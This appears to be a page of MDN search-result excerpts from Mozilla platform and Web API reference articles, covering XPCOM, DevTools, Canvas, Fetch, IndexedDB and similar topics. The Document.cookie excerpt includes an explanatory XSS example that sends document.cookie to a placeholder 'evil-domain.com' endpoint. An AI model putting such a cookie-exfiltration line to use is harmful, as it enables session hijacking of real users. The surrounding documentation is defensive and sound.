... } } httprequest = new xmlhttprequest(); httprequest.open("get", feedurl, true); try { httprequest.onload = inforeceived; httprequest.send(null); } catch(e) { alert(e); } } the nsifeedprocessor interface lets you parse the feed data from several possible sources; in this case, we're loading a document into a string, then parsing that string using its parsefromstring() method.
... however, you could also parse it from a file using parsefromstream(), or directly from an url using parseasync().
...the full url of the link is retrieved using the link's resolve() method.
Generating GUIDs
using the extensionname@organization.tld form is approximately one thousand times easier for everyone involved.
...if all else fails, using extensionname@yourusername.addons.mozilla.org should be fine; no one will care.
... nsiuuidgenerator a uuid can be generated from privileged mozilla code using nsiuuidgenerator.
... com/xpcom format when #define-ing iids and cids in mozilla c++ code, you generally use the following format: // xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx #define ns_...id \ { 0xxxxxxxxx, 0xxxxx, 0xxxxx, \ { 0xxx, 0xxx, 0xxx, 0xxx, 0xxx, 0xxx, 0xxx, 0xxx } } you can generate code in this format using one of the following tools.
XPCOM guide
MozillaTechXPCOMGuide
avoiding leaks in javascript xpcom componentsprogrammers writing and reviewing javascript code in mozilla should understand how code using xpcom in javascript can leak so that they can avoid leaks.
...the problem would not exist with java's interfaces).making cross-thread calls using runnablesin the mozilla platform, most activities such as layout, dom operations, content javascript, and chrome javascript run on the main thread.
... however, it may be useful for c++ code in the mozilla platform to run tasks on another thread.mozilla internal string guidemost of the mozilla code uses a c++ class hierarchy to pass string data, rather than using raw pointers.
...items are found, added, and removed from the hashtable by using the key.
Components.Constructor
nstructor(contractid [, interfacename [, initializer ] ]); parameters contractid a string containing the contract id of the component interfacename if given, nsisupports.queryinterface() will be called on each newly-created instance with the interface named by this string initializer if given, a string containing the name of a function which will be called on the newly-created instance, using the arguments provided to the created function when called description components.constructor() is a handy shortcut for creating instances of xpcom components.
...another important benefit is that it precomputes some of the computation it does, so using a function returned from components.constructor() to create xpcom objects is faster than creating the object from base principles, as demonstrated below.
... of arguments isn't equal to the number of // arguments nsibinaryinputstream.setinputstream takes var bis = new binaryinputstream(); } catch (e) { // someinputstream is an existing nsiinputstream bis = new binaryinputstream(someinputstream); // succeeds var bytes = bis.readbytearray(somenumberofbytes); // succeeds } compare instance creation from base principles with instance creation using components.constructor(); the latter is much easier to read than the former (particularly if you're creating instances of a component in many different places): var bis = components.classes["@mozilla.org/binaryinputstream;1"] .createinstance(components.interfaces.nsibinaryinputstream); bis.setinputstream(someinputstream); // assumes binaryinputstream was initialized previou...
...sly var bis = new binaryinputstream(someinputstream); components.constructor() is purely syntactic sugar (albeit speedy and pretty syntactic sugar) for actions that can be accomplished using other common methods.
Components.utils.evalInSandbox
the evalinsandbox() function enables you to evaluate javascript code inside a sandbox you've previously created using the components.utils.sandbox constructor.
...you can also find firefox 3.5 specific information in using json in firefox.
... use to use evalinsandbox(), you must first create a sandbox object using its constructor, components.utils.sandbox.
...for instance: var x = components.utils.evalinsandbox( "let x = 1;", sandbox, "1.8", // "latest" is recognized as a special case "http://foo.com/mycode.js", 25 ); the above will execute code using javascript 1.8.
IAccessible2
refer to @ref _arrayconsideration "special consideration when using arrays" for more details.
...refer to @ref _arrayconsideration "special consideration when using arrays" for more details.
...refer to @ref _arrayconsideration "special consideration when using arrays" for more details.
...without the availability of windowhandle, the at would have to get the window handle by using windowfromaccessibleobject on each iaccessible, which is slow because it's implemented by oleacc.dll as a loop which crawls up the ancestor chain and looks for a role_window object, mapping that back to a window handle.
nsIBrowserHistory
removepages() removes multiple pages from history using a batch.
... removepagesbytimeframe() removes all pages within the given timeframe, using a batch.
... removevisitsbytimeframe() removes all visits within the given timeframe, using a batch.
... see also places using the places history service nsiglobalhistory2 ...
nsICryptoHash
see computing the hash of a string for an example of using this method.
...see computing the hash of a file for an example of using this method.
... example computing the hash of a file you can easily compute the hash of a file using nsicryptohash.
...since hash functions are computed over bytes, you will first need to convert the string to a series of bytes using nsiscriptableunicodeconverter and a unicode encoding that you specify.
nsIDBFolderInfo
try to avoid using it.
...try to avoid using it.
...try to avoid using it.
...try to avoid using it.
nsIDOMFile
the nsidomfile interface retrieves data from a file submitted to a form using the input type "file".
... this allows the file reference to be saved when the form is submitted while the user is using a web application offline, so that the data can be retrieved and uploaded once the internet connection is restored.
... this is also used by the datatransfer object to describe files dragged into a web application using drag and drop.
...this will likely change in the future, so avoid using any non-standard methods offered by this interface in order to ensure future compatibility.
nsIDocShell
forcedcharset nsiatom a character set to override the page's default character set while processing; this is tried before using any other character set during page loads.
...try to avoid using it.
...note that using flags outside load_flags_mask is only allowed if passing in a non-null loadinfo.
...the meta-refresh timers can be restarted using resumerefreshuris().
nsIJSON
don't forget to gcroot the result before using it.
...don't forget to gcroot the jsval before using it.
...don't forget to gcroot the result before using it.
...don't forget to gcroot the jsval before using it.
nsIMessageListener
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits from: nsisupports this interface is used to receive messages sent using the nsimessagebroadcaster, nsimessagesender, or nsisyncmessagesender interfaces.
... listeners are attached using the nsimessagelistenermanager interface.
... if the message was sent from a frame script using a nsicontentframemessagemanager, then this property is the xul <browser> element for the frame from which the message was sent.
... sync true if the message was sent using sendsyncmessage, false otherwise.
nsINavBookmarkObserver
in this situation, you should not attempt to get any properties, since this will result in the automatic regeneration of properties that will then be leaked into the database, causing trouble later.
...you should check to see if it is actually more recent before using this new time.
... using onbeforeitemremoved() in gecko 1.9.1 if you wish to support onbeforeitemremoved() in applications based on gecko 1.9.1, you must implement your observer's queryinterface() method to match on both nsinavbookmarkobserver and nsinavbookmarkobserver_mozilla_1_9_1_additions, as shown below.
... queryinterface: function(iid) { if (iid.equals(ci.nsinavbookmarkobserver) || iid.equals(ci.nsinavbookmarkobserver_mozilla_1_9_1_additions) || iid.equals(ci.nsisupports)) { return this; } throw cr.ns_error_no_interface; } see also places manipulating bookmarks using places nsinavbookmarksservice ...
nsINavHistoryQueryOptions
this is because sorting by title requires us to sort after using locale-sensetive sorting (as opposed to letting the database do it for us).
... note: using this result type forces the query type to be query_type_bookmarks.
... note: using this result type forces the query type to be query_type_bookmarks.
...see also places using the places history service places query uris querying places nsinavhistoryservice ...
nsINavHistoryResult
the result indicates to the view when something changes by using the nsinavhistoryresultviewer interface.
...the viewer provides notifications to the controller when view events occur; this is done using the nsinavhistoryresultviewobserver interface.
...while the result waits to be collected it will stay in memory, and continue to update itself, potentially causing unwanted additional work.
...changing this value updates the corresponding options for the result so that reusing the current options and queries will always return results based on the current view.
nsINavHistoryService
this is much better than using browserhistory.count since that can be very slow if there is a lot of history (it must enumerate each item).
...see this code for how a function to add visits and handle errors using the new api could look like.
...it will be initialized to all empty (so using it will give you all history).
... void getcharsetforuri( in nsiuri auri, in astring acharset ); parameters auri uri to set character-set for acharacterset character-set to be set see also places using the places history service querying places nsinavhistorybatchcallback nsinavhistorycontainerresultnode nsinavhistoryfullvisitresultnode nsinavhistoryobserver nsinavhistoryquery nsinavhistoryqueryoptions nsinavhistoryqueryresultnode nsinavhistoryresult nsinavhistoryresultnode nsinavhistoryresulttreeviewer nsinavhistoryresultviewobserver nsinavhistoryresultviewer nsinavhistoryvisitres...
nsIPluginHost
try to avoid using it.
...try to avoid using it.
...try to avoid using it.
...then using nsihandlerservice it gets the handler info.
Component; nsIPrefBranch
preferences are accessed off of this root by using just the final portion of the preference.
...a complex preference is a preference which represents an xpcom object that can not be easily represented using a standard boolean, integer or string value.
...a complex preference is a preference which represents an xpcom object that can not be easily represented using a standard boolean, integer or string value.
...these cycles generally occur because an object both registers itself as an observer (causing the branch to hold a reference to the observer) and holds a reference to the branch object for the purpose of getting/setting preference values.
nsIPrefService
using a set method on this object will always create or set a user preference value.
... when using a get method a user set value will be returned if one exists, otherwise a default value will be returned.
...using a set method on this object will always create or set a default preference value.
... when using a get method a default value will always be returned.
nsIProcess
args an array of count arguments, using the native character set, to be passed to the executable on its command line.
... void runasync( [array, size_is(count)] in string args, in unsigned long count, in nsiobserver observer, optional in boolean holdweak optional ); parameters args an array of arguments to pass into the process, using the native character set.
... args an array of count arguments, using utf-16, to be passed to the executable on its command line.
... void runwasync( [array, size_is(count)] in wstring args, in unsigned long count, in nsiobserver observer, optional in boolean holdweak optional ); parameters args an array of arguments to pass into the process, using utf-16.
nsIScriptableIO
other documentation on files and i/o not using the unavailable nsiscriptableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes.
...files are located by starting at a known directory, specified using a location key string.
... getfilewithpath() returns a file reference using an absolute file path to locate the file.
... note: you should avoid using this method, since file paths are platform-dependent and non-portable.
nsISupports proxies
try to avoid using it.
...for more information about alternatives, see making cross-thread calls using runnables.
... warning about proxy_async: you must take very special care when using this flag.
...this detection will only be used if you are using a proxy created with the proxy_sync flag.
nsIURI
this is useful for authentication, managing sessions, or for checking the origin of an uri to prevent cross-site scripting attacks while using methods such as window.postmessage().
...setting the spec causes the new spec to be parsed using the rules for the scheme the uri currently has.
... warning: because parsing the string is done using the current uri's scheme, setting the spec to a uri with a different scheme will produce incorrect results.
... resolve() resolves a relative uri string, using this uri as the base.
XUL Overlays
MozillaTechXULOverlays
overlays provide a general mechanism for: adding ui for additional components, as described in the example above overriding small pieces of a xul file without having to resupply the whole ui reusing particular pieces of the ui xul files and overlays work together to describe a single master document.
...so, in order to avoid unpredicted behaviors you will probably benefit from using a unique prefix for the ids of the xul elements of your extension.
...attaching a script to an overlay to execute a script when an overlay is applied, use a <script> element: <script src="overlay.js"/> if you need to set the version of javascript, you can set the type attribute: <script type="application/x-javascript;version=1.8" src="overlay.js"/> ui reuse with overlays one of the biggest benefits of using overlays is that it allows you to reuse groups of elements that appear frequently in the ui.
...using the id attribute on an otherwise empty node in the base file, you can essentially reference a subtree defined in an overlay file and merge it in wherever it's needed.
Thunderbird Configuration Files
config editor many of the tips and tricks mentioned on this site can be applied by using the built-in config editor.
... all these files are plain text files you need to create in your profile folder and can be edited using a standard text editor, such as notepad on windows and gedit or kate on linux.
...you can manage any number of profiles by using the profile manager.
...in almost all cases, edits made using the user.js can be done via the config editor, which is the recommended method.
Finding the code for a feature
as an example, i received the following inquiry, and i decided to follow my usual path and document what i do: hello i would like to add colours and tags to specific emails...by using nsimsgtagservice, can this be done?
...tags are applied using the message database property "keyword".
...(for debug builds, you can make it appear by default using "ac_add_options --enable-extensions=default,venkman,inspector" which is part of my standard configuration).
...using dom inspector, i find the tag menu item, and i see that it uses command "cmd_tag".
Examples
general using c struct and pointers an example on how to use basic c data types with js-ctypes.
... using objective-c from js-ctypes an example how to use objective-c from js-ctypes, by converting objective-c code into c code.
... using com from js-ctypes an example how to use com api of windows systems from js-ctypes, by converting c++ code to c code.
... using jni from js-ctypes an example how to use java from js-ctypes, by converting java code into c code.
Declaring types
each type you declare using js-ctypes corresponds to a compatible c declaration.
... structures structures are declared using the ctypes.structtype() constructor.
... note: at present, there isn't a way to specify that an array's c equivalent was declared as a packed structure; that is, using #pragma pack.
... { fieldn: typen } ] example for example, to support the c tm structure using js-ctypes, you would use the following code: const struct_tm = new ctypes.structtype("tm", [ { "tm_sec": ctypes.int }, { "tm_min": ctypes.int }, { "tm_hour": ctypes.int }, { "tm_mday": ctypes.int }, { "tm_mon": ctypes.int }, { "tm_year": ctypes.int }, { "tm_wday": ctypes.int }, { ...
Version, UI, and Status Information - Plugins
getting the current version your plug-in should make sure, possibly during initialization, that the version of the plug-in api it is using is compatible with the version the browser is using.
... int plugin_major, plugin_minor, netscape_major, netscape_minor; // declare variables to hold version numbers void npn_version( &plugin_major, &plugin_minor, &netscape_major, &netscape_minor ); // find version numbers finding out if a feature exists a plug-in can figure out whether it is running in a version of the browser that supports a particular feature by using version or npvers constants (see version feature constants).
... it starts by using npn_version to get the version numbers.
...consider using this function as part of the plug-in's smartupdate process.
Introduction to DOM Inspector - Firefox Developer Tools
the dom inspector is a mozilla extension that you can access from the tools > web development menu in seamonkey, or by selecting the dom inspector menu item from the tools menu in firefox and thunderbird, or by using ctrl/cmd+shift+i in either application.
... inspecting arbitrary urls you may also inspect the dom of arbitrary urls by using the inspect a url menuitem in the file menu, or by just entering a url into the dom inspector's address bar and clicking inspect or pressing enter.
... using the dom inspector once you've opened the document for the page or chrome you are interested in, you'll see that it loads the dom nodes viewer in the document pane and the dom node viewer in the object pane.
...you can traverse the structure and go from the topmost parts parts of the dom tree to lower level nodes, such as the "search-go-button" icon that lets users perform a query using the selected search engine.
Debugging service workers - Firefox Developer Tools
in this article we will look at debugging service workers using the firefox devtools application panel.
...registration is done with a block of code along these lines, using the register() method: if('serviceworker' in navigator) { navigator.serviceworker .register('sw.js') .then(function() { console.log('service worker registered'); }); } if you get the path wrong, for example, you'll get an error in the web console giving you a hint as to what's wrong, which depends on what exactly is wrong with the code.
...it is only activated when there are no longer any pages loaded that are still using the old service worker.
... testing a service worker cache if you are using your service worker to store your site assets in cache storage (using the cache api), which is essential for creating offline apps, it can be annoying to test the cache.
Migrating from Firebug - Firefox Developer Tools
this functionality is already integrated into the devtools using the chromelogger protocol and doesn't require any extensions to be installed.
... step through code once the script execution is stopped, you can step through the code using the continue (f8), step over (f10), step into (f11) and step out (shift+f11) options.
... switch between sources the css panel of firebug allows to switch between different css sources using the css location menu.
...the firefox devtools allow to inspect the network traffic using the network monitor.
Edit Shape Paths in CSS - Firefox Developer Tools
the shape path editor is a tool that helps you see and edit shapes created using clip-path and also the css shape-outside property and <basic-shape> values.
... ellipse() if the value of shape-outside is ellipse() then you are using the ellipse basic shape.
... inset() if the value of shape-outside is inset() then you are using the inset basic shape, which enables the creation of offset values pulling the content in from the margin box.
... polygon() if the value of shape-outside is polygon() then you are using the polygon basic shape.
Shader Editor - Firefox Developer Tools
webgl is a javascript api for rendering interactive 3d graphics and 2d graphics in the browser without using plugins.
...in webgl they can be included in a page in several ways: as text hardcoded in javascript strings, as separate files included using <script> tags, or retrieved from the server as plain text.
... javascript code running in the page then sends them for compilation using the webgl apis, and they're executed on the device's gpu when needed.
...this is useful for focusing on certain shaders or hiding overlapping geometry: if you click the entry, its vertex and fragment shaders are shown in the other two panes, and you can edit them.
about:debugging - Firefox Developer Tools
setup tab connecting to a remote device firefox supports debugging over usb with android devices, using the about:debugging page.
... connect the android device to your computer using a usb cable.
... connecting over the network you can connect to a firefox debug server on your network, or on your debugging machine using the network location settings of the about:debugging page.
...when you do, it is added to the network locations list along with the devices, as shown below: this firefox the this firefox tab combines the features of extensions, tabs, and workers into a single tab with the following sections: temporary extensions displays a list of the extensions that you have loaded using the load temporary add-on button.
AbortController - Web APIs
you can create a new abortcontroller object using the abortcontroller.abortcontroller() constructor.
... communicating with a dom request is done using an abortsignal object.
... examples in the following snippet, we aim to download a video using the fetch api.
... we first create a controller using the abortcontroller() constructor, then grab a reference to its associated abortsignal object using the abortcontroller.signal property.
CanvasRenderingContext2D.fillText() - Web APIs
an optional parameter allows specifying a maximum width for the rendered text, which the user agent will achieve by condensing the text or by using a lower font size.
... the text is rendered using the font and text layout configuration as defined by the font, textalign, textbaseline, and direction properties.
...the text is rendered using the settings specified by font, textalign, textbaseline, and direction.
... examples drawing filled text this example writes the words "hello world" using the filltext() method.
CanvasRenderingContext2D - Web APIs
canvasrenderingcontext2d.strokerect() paints a rectangle which has a starting point at (x, y) and has a w width and an h height onto the canvas, using the current stroke style.
... canvasrenderingcontext2d.createpattern() creates a pattern using the specified image (a canvasimagesource).
...the following methods help you to work with that state: canvasrenderingcontext2d.save() saves the current drawing style state using a stack so you can revert any change you make to it using restore().
... canvasrenderingcontext2d.demote() this causes a context that is currently using a hardware-accelerated backend to fallback to a software one.
Optimizing canvas - Web APIs
to avoid this, make sure to round all co-ordinates used in calls to drawimage() using math.floor(), for example.
...a possible optimization in this situation is to layer your items using multiple <canvas> elements.
...320"></canvas> </div> <style> #stage { width: 480px; height: 320px; position: relative; border: 2px solid black; } canvas { position: absolute; } #ui-layer { z-index: 3; } #game-layer { z-index: 2; } #background-layer { z-index: 1; } </style> use plain css for large background images if you have a static background image, you can draw it onto a plain <div> element using the css background property and position it under the canvas.
... scaling canvas using css transforms css transforms are faster since they use the gpu.
Pixel manipulation with canvas - Web APIs
this method is also demonstrated in the article manipulating video using canvas.
... a color picker in this example we are using the getimagedata() method to display the color under the mouse cursor.
... for example, to paint the entire image represented by myimagedata to the top left corner of the context, you can simply do the following: ctx.putimagedata(myimagedata, 0, 0); grayscaling and inverting colors in this example we iterate over all pixels to change their values, then we put the modified pixel array back to the canvas using putimagedata().
... note: be aware that if the canvas contains any pixels that were obtained from another origin without using cors, the canvas is tainted and its contents can no longer be read and saved.
Constraint validation API - Web APIs
concepts and usage certain html form controls, such as <input>, <select> and <textarea>, can restrict the format of allowable values, using attributes like required and pattern to set basic constraints.
...this can be done using the constraint validation api.
...this will be displayed in the ui if the element is the only form control with a validity problem; if a custom error message is set using setcustomvalidity(), this will be shown.
...inside this function we work out whether the value is invalid because it is empty, or because it doesn't match the pattern, using an if() block, and set a custom validity error message.
DedicatedWorkerGlobalScope - Web APIs
dedicatedworkerglobalscope.name read only the name that the worker was (optionally) given when it was created using the worker() constructor.
...for example: importscripts('foo.js', 'bar.js'); implemented from other places windowbase64.atob() decodes a string of data which has been encoded using base-64 encoding.
... windowtimers.clearinterval() cancels the repeated execution set using windowtimers.setinterval().
... windowtimers.cleartimeout() cancels the repeated execution set using windowtimers.settimeout().
Document.cookie - Web APIs
WebAPIDocumentcookie
note that you can only set/update a single cookie at a time using this method.
...it can be easily bypassed using the dom, for example by creating a hidden <iframe> element with the path of the cookie, then accessing this iframe's contentdocument.cookie property.
... the only way to protect the cookie is by using a different domain or subdomain, due to the same origin policy.
...common ways to steal cookies include using social engineering or by exploiting an xss vulnerability in the application - (new image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; the httponly cookie attribute can help to mitigate this attack by preventing access to cookie value through javascript.
Document.querySelectorAll() - Web APIs
see locating dom elements using selectors for more information about using selectors to identify elements.
... multiple selectors may be specified by separating them using commas.
... note: characters which are not part of standard css syntax must be escaped using a backslash character.
... since javascript also uses backslash escaping, special care must be taken when writing string literals using these characters.
How whitespace is handled by HTML, CSS, and in the DOM - Web APIs
it gets more interesting however when you start using inline-block elements.
... the firefox devtools html inspector will highlight text nodes, and also show you exactly what area the elements are taking up — useful if you are wondering what is causing the problem, and are maybe thinking you've got some extra margin in there or something!
...for example, if you have a reference to a parent node and want to affect its first element child using node.firstchild, if there is a rogue whitespace node just after the opening parent tag you will not get the result you are expecting.
... as another example, if you have a certain subset of elements that you want to do something to based on whether they are empty (have no child nodes) or not, you could check whether each element is empty using something like node.haschildnodes(), but again, if any target elements contain text nodes, you could end up with false results.
EffectTiming.fill - Web APIs
WebAPIEffectTimingfill
note that authors are discouraged from using fill modes to persist the effect of an animation indefinitely.
...that means that unless we specify otherwise using the fill property, the instant the animation is started the element will be rotated to the left 90°, and then it will animate smoothly from there.
...when used to persist the effect of an animation indefinitely, however, they have a number of drawbacks: the forwards fill of an animation (or backwards fill if the animation is playing in reverse) will continue to override any changes to specified style indefinitely which can lead to confusing behavior.
... rather than using fill modes to persist an animation, it is often simpler to set the final value of the animation effect directly in specified style: elem.animate({ transform: 'translatey(100px)' }, 200).finished.then(() => { elem.style.transform = 'translatey(100px)'; }); alternatively, it may be simpler still to set the final value in specified style before triggering the animation and then animate from the start value.
Element.innerHTML - Web APIs
WebAPIElementinnerHTML
exceptions syntaxerror an attempt was made to set the value of innerhtml using a string which is not properly-formed html.
... however, there are ways to execute javascript without using <script> elements, so there is still a security risk whenever you use innerhtml to set strings over which you have no control.
... warning: if your project is one that will undergo any form of security review, using innerhtml most likely will result in your code being rejected.
... javascript function log(msg) { var logelem = document.queryselector(".log"); var time = new date(); var timestr = time.tolocaletimestring(); logelem.innerhtml += timestr + ": " + msg + "<br/>"; } log("logging mouse events inside this container..."); the log() function creates the log output by getting the current time from a date object using tolocaletimestring(), and building a string with the timestamp and the message text.
Element.querySelectorAll() - Web APIs
see locating dom elements using selectors for more information about using selectors to identify elements.
... multiple selectors may be specified by separating them using commas.
... note: characters which are not part of standard css syntax must be escaped using a backslash character.
... since javascript also uses backspace escaping, special care must be taken when writing string literals using these characters.
Event - Web APIs
WebAPIEvent
it can also be triggered programmatically, such as by calling the htmlelement.click() method of an element, or by defining the event, then sending it to a specified target using eventtarget.dispatchevent().
...event-handlers are usually connected (or "attached") to various html elements (such as <button>, <div>, <span>, etc.) using eventtarget.addeventlistener(), and this generally replaces using the old html event handler attributes.
... further, when properly added, such handlers can also be disconnected if needed using removeeventlistener().
... event.istrusted read only indicates whether or not the event was initiated by the browser (after a user click, for instance) or by a script (using an event creation method, like event.initevent).
FileList - Web APIs
WebAPIFileList
it's also used for a list of files dropped into web content when using the drag and drop api; see the datatransfer object for details on this usage.
... using the file list all <input> element nodes have a files attribute of type filelist on them which allows access to the items in this list.
... example this example iterates over all the files selected by the user using an input element: // fileinput is an html input element: <input type="file" id="myfileinput" multiple> var fileinput = document.getelementbyid("myfileinput"); // files is a filelist object (similar to nodelist) var files = fileinput.files; var file; // loop through files for (var i = 0; i < files.length; i++) { // get item file = files.item(i); //or file = files[i]; alert...
... yessafari ios full support yessamsung internet android full support yeslegend full support full support compatibility unknown compatibility unknown see also using files from web applications file filereader ...
FileHandle API - Web APIs
r myfile = myfilehandle.open('readwrite'); // start a writing operation var writing = myfile.append('some content'); writing.onsuccess = function () { console.log('writing operation successful'); } writing.onerror = function () { console.log('something goes wrong in the writing process: ' + this.error); } reading it's possible to directly write the content of a lockedfile object without using an intermediate file object and a filereader object.
... it's possible to get a file object representing the current state of the file handled by the filehandle object by using the getfile method.
...such monitoring can be done using the filerequest.onprogress event handler.
...to avoid that problem, you can force the data to be flushed by using the lockedfile.flush() method.
File and Directory Entries API support in Firefox - Web APIs
over time, a number of popular sites and web applications came to use it, often without providing any means of falling back to standard apis or even checking to be sure the api is available before using it.
... chrome deviations from the specification the largest compatibility issue still remaining is that chrome is still using older names for many of the interfaces in the api, since they implemented a related but different specification: name in specification name in google chrome filesystemdirectoryentry directoryentry filesystemdirectoryentrysync directoryentrysync filesystemdirectoryreader directoryreader filesystemdirectoryreadersync directoryreadersy...
...there are only two ways to get access to file system entries at this time: the <input> element, using the htmlinputelement.webkitentries property to access an array of filesystementry objects describing file system entries you can then read.
... using drag and drop by calling the datatransferitem.getasentry() method, which lets you get a filesystemfileentry or filesystemdirectoryentry for files dropped on a drop zone.
HTMLImageElement.sizes - Web APIs
each condition is specified using the same conditional format used by media queries.
...see syntax in using media queries for details on how to construct a media condition.
...it may be specified using font-relative units (such as em or ex), absolute units (such as px or cm), or the vw unit, which lets you specify the width as a percentage of the viewport width (1vw being 1% of the viewport width).
...dius: 7em; padding: 1.5em; font: 16px "open sans", verdana, arial, helvetica, sans-serif; } article img { display: block; max-width: 100%; border: 1px solid #888; box-shadow: 0 0.5em 0.3em #888; margin-bottom: 1.25em; } javascript the javascript code handles the two buttons that let you toggle the third width option between 40em and 50em; this is done by handling the click event, using the javascript string object method replace() to replace the relevant portion of the sizes string.
HTMLMediaElement - Web APIs
using any other size results in an exception being thrown.
... htmlmediaelement.sinkid read only returns a domstring that is the unique id of the audio device delivering output, or an empty string if it is using the user agent default.
... htmlmediaelement.load() resets the media to the beginning and selects the best available source from the sources provided using the src attribute or the <source> element.
...listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface.
Headers - Web APIs
WebAPIHeaders
you can add to this using methods like append() (see examples.) in all methods of this interface, header names are matched by case-insensitive byte sequence.
... you can retrieve a headers object via the request.headers and response.headers properties, and create a new headers object using the headers.headers() constructor.
... examples in the following snippet, we create a new header using the headers() constructor, add a new header to it using append(), then return that header value using get(): var myheaders = new headers(); myheaders.append('content-type', 'text/xml'); myheaders.get('content-type') // should return 'text/xml' the same can be achieved by passing an array of arrays or an object literal to the constructor: var myheaders = new headers({ 'content-type': 'tex...
...t/xml' }); // or, using an array of arrays: myheaders = new headers([ ['content-type', 'text/xml'] ]); myheaders.get('content-type') // should return 'text/xml' specifications specification status comment fetchthe definition of 'headers' in that specification.
IDBCursor.direction - Web APIs
the direction read-only property of the idbcursor interface is a domstring that returns the direction of traversal of the cursor (set using idbobjectstore.opencursor for example).
...within each iteration we log the direction of the cursor, something like this: prev note: we can't change the direction of travel of the cursor using the direction property, as it is read-only.
... we specify the direction of travel using the 2nd argument of idbobjectstore.opencursor.
...also note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
Intersection Observer API - Web APIs
historically, detecting visibility of an element, or the relative visibility of two elements in relation to each other, has been a difficult task for which solutions have been unreliable and prone to causing the browser and the sites the user is accessing to become sluggish.
...the author of the web site may not even realize this is happening, since they may know very little about the inner workings of the two libraries they are using.
... whether you're using the viewport or some other element as the root, the api works the same way, executing a callback function you provide whenever the visibility of the target element changes so that it crosses desired amounts of intersection with the root.
... we call window.addeventlistener() to start listening for the load event; once the page has finished loading, we get a reference to the element with the id "box" using queryselector(), then call the createobserver() method we'll create in a moment to handle building and installing the intersection observer.
MediaElementAudioSourceNode - Web APIs
a mediaelementsourcenode has no inputs and exactly one output, and is created using the audiocontext.createmediaelementsource() method.
... example this simple example creates a source from an <audio> element using createmediaelementsource(), then passes the audio through a gainnode before feeding it into the audiodestinationnode for playback.
...document.documentelement.scrolltop : document.body.scrolltop); gainnode.gain.value = cury/height; } // connect the audiobuffersourcenode to the gainnode // and the gainnode to the destination, so we can play the // music and adjust the volume using the mouse cursor source.connect(gainnode); gainnode.connect(audioctx.destination); note: as a consequence of calling createmediaelementsource(), audio playback from the htmlmediaelement will be re-routed into the processing graph of the audiocontext.
... so playing/pausing the media can still be done through the media element api and the player controls.
MediaRecorder - Web APIs
it is created using the mediarecorder() constructor.
...you can then collect and act upon that recorded media data using this event handler.
... events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface.
... error fired when an error occurs: for example because recording wasn't allowed or was attempted using an unsupported codec.
Media Source API - Web APIs
using mse, media streams can be created via javascript, and played using <audio> and <video> elements.
...streaming media has up until recently been the domain of flash, with technologies like flash media server serving video streams using the rtmp protocol.
...it lays the groundwork for adaptive bitrate streaming clients (such as those using dash or hls) to be built on its extensible api.
... dash moves lots of logic out of the network protocol and into the client side application logic, using the simpler http protocol to fetch files.
MouseEvent - Web APIs
common events using this interface include click, dblclick, mouseup, mousedown.
...though the mouseevent.initmouseevent() method is kept for backward compatibility, creating of a mouseevent object should be done using the mouseevent() constructor.
...instead of using this deprecated (and non-standard) property, you should instead use pointerevent and look at its pressure property.
... example this example demonstrates simulating a click (that is programmatically generating a click event) on a checkbox using dom methods.
Navigator - Web APIs
WebAPINavigator
a navigator object can be retrieved using the read-only window.navigator property.
... navigator.mediadevices returns a reference to a mediadevices object which can then be used to get information about available media devices (mediadevices.enumeratedevices()), find out what constrainable properties are supported for media on the user's computer and user agent (mediadevices.getsupportedconstraints()), and to request access to media using mediadevices.getusermedia().
... navigator.sendbeacon() used to asynchronously transfer a small amount of data using http from the user agent to a web server.
... non-standard navigator.mozislocallyavailable() lets code check to see if the document at a given uri is available without using the network.
Online and offline events - Web APIs
this property existed in older versions of firefox and internet explorer (the specification based itself off of these prior implementations), so you can begin using it immediately.
... you can register listeners for these events in a few familiar ways: using addeventlistener on the window, document, or document.body by setting the .ononline or .onoffline properties on document or document.body to a javascript function object.
... (note: using window.ononline or window.onoffline will not work for compatibility reasons.) by specifying ononline="..." or onoffline="..." attributes on the <body> tag in the html markup.
...e { background: green; } .offline { background: red; } and the corresponding htmlxxx when mochitests for this are created, point to those instead and update this example -nickolay <div id="status"></div> <div id="log"></div> <p>this is a test</p> here's the live result notes if the api isn't implemented in the browser, you can use other signals to detect if you are offline including using service workers and responses from xmlhttprequest.
OVR_multiview2 - Web APIs
for more information, see also: multiview on webxr three.js multiview demo multiview in babylon.js optimizing virtual reality: understanding multiview multiview webgl rendering for oculus browser 6.0+ webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
...however, the oculus browser (6+) also supports multisampling using the oculus_multiview extension.
...most vr headsets have two views, but there are prototypes of headset with ultra-wide fov using 4 views which is currently the maximum number of views supported by multiview.
ParentNode.querySelector() - Web APIs
see locating dom elements using selectors for more information about using selectors to identify elements.
... multiple selectors may be specified by separating them using commas.
... note: characters which are not part of standard css syntax must be escaped using a backslash character.
... since javascript also uses backspace escaping, special care must be taken when writing string literals using these characters.
ParentNode.querySelectorAll() - Web APIs
see locating dom elements using selectors for more information about using selectors to identify elements.
... multiple selectors may be specified by separating them using commas.
... note: characters which are not part of standard css syntax must be escaped using a backslash character.
... since javascript also uses backslash escaping, special care must be taken when writing string literals using these characters.
Path2D.addPath() - Web APIs
WebAPIPath2DaddPath
html <canvas id="canvas"></canvas> javascript first, we create two separate path2d objects, each of which contains a rectangle made using the rect() method.
... we then create a matrix using document.createelementns() and createsvgmatrix().
... we then add the second path to the first using addpath(), also applying the matrix to move the second path to the right.
... finally, we draw the first path (which now contains both rectangles) using fill().
PaymentRequest - Web APIs
also available using the onmerchantvalidation event handler property.
... also available using the onpaymentmethodchange event handler property.
... also available using the onshippingaddresschange event handler property.
... also available using the onshippingoptionchange event handler property.
Push API - Web APIs
WebAPIPush API
when the service worker is active, it can subscribe to push notifications, using pushmanager.subscribe().
...this allows apps to react to push messages being received, for example, by displaying a notification (using serviceworkerregistration.shownotification().) each subscription is unique to a service worker.
... service worker additions the following additions to the service worker api have been specified in the push api spec to provide an entry point for using push messages.
...this is the entry point into using push messaging.
RTCDtlsTransport - Web APIs
